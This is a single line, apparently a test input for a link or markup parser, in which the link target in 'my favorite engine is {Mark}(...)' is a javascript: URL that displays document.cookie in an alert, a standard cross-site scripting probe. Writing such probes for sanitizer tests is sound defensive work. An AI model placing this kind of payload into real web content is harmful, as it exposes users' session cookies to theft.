my favorite engine is {Mark}(javascript:alert('https://'+document.cookie))